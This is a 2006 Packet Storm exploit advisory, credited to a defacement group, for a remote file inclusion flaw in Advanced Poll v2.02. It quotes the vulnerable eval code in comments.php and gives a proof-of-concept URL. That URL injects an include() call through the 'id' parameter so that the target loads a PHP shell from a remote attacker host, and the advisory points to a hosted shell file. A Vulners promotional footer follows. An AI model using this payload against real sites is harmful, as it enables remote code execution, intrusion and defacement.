Lucene search
K

advancedpoll202.txt

🗓️ 12 Oct 2006 00:00:00Reported by Pro HackerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Vunerability in Advanced Poll v2.02 allows Remote File Inclusion for high risk Remote File Execution. Code in comments.php allows execution of arbitrary PHP code

Code
`+--------------------------------------------------------------------  
+  
+ Advanced Poll v2.02 :) <= Remote File Inclusion  
+  
+--------------------------------------------------------------------  
+  
+ Affected Software .: Advanced Poll v2.02  
+ Venedor ...........: http://www.proxy2.de  
+ Class .............: Remote File Inclusion  
+ Risk ..............: high (Remote File Execution)  
+ Found by ..........: Pro Hacker  
+ Original advisory .: http://www.sec-area.com/ http://www.worlddefacers.de/   
+ Contact ...........: alguidy[at]hotmail[.]com  
+  
+--------------------------------------------------------------------  
+  
+ Code comments.php:  
+  
+ .....  
+ $register_poll_vars = array("id","template_set","action");  
+ for ($i=0;$i<sizeof($register_poll_vars);$i++) {  
+ if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {  
+ eval("\$$register_poll_vars[$i] =  
\"".trim($HTTP_POST_VARS[$register_poll_vars+ [$i]])."\";");  
+ } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {  
+ eval("\$$register_poll_vars[$i] =  
\"".trim($HTTP_GET_VARS[$register_poll_vars+ [$i]])."\";");  
+ } else {  
+ eval("\$$register_poll_vars[$i] + '';");  
+ }  
+ }  
+ .....  
+  
+ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
+ PoC:  
+ Place a PHPShell on a remote location:  
+ http://sec-area.com/sh.txt?  
+  
+  
+ http://[target]/poll/comments.php?id={${include($ddd)}}{${exit()}}&ddd=Http://EvilShell  
+  
+--------------------------------------------------------------------  
+ [W]orld [D]efacers [T]eam  
+ Greets:  
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BLaCKWHITE  
||  
+ || P-r-O H-a-C-k-E-r-S ||  
+  
+-------------------------[ W D T ]----------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation